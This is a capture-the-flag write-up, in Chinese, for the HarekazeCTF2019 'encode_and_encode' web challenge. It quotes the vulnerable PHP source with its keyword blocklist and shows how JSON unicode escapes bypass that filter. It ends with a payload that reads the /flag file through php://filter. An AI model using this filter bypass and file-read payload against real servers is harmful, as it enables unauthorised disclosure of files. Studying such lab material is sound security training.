[HarekazeCTF2019]encode_and_encode
关于php://input的测试
<?php
$a = file_get_contents("php://input");
echo $a;
$b = json_decode($a);
print_r($b);
解题过程
打开容器,点击第三个超链接,得到源码
query.php源码
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
'\.\.',
'(php|file|glob|data|tp|zip|zlib|phar):',
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
意思很明白,我们要使用post方式传入格式为{"page":"xxxx"} 的内容,然后page的值传到了$content 里面,然后需要绕过
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
不然$content的值就会被替换,然后需要绕过preg_match(),不然值也会被替换,没想到怎么绕过这个东西,去找找大佬们的wp,肯定有各种奇淫巧技
发现这个题目的关键地方是json_decode会将\uxxx 进行转义,这样就可以绕过is_valid的检测
本地测试
<?php
$body = '{"page":"\u0070\u0068\u0070"}';
echo $body;
$json = json_decode($body,true);
echo "\n";
var_dump($json);
测试结果
所以最终的payload配合上php://filter就可以得到flag
{"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}
base64解码即可得到flag
参考链接
- [HarekazeCTF2019]encode_and_encode | 信安小蚂蚁 (gitee.io)
|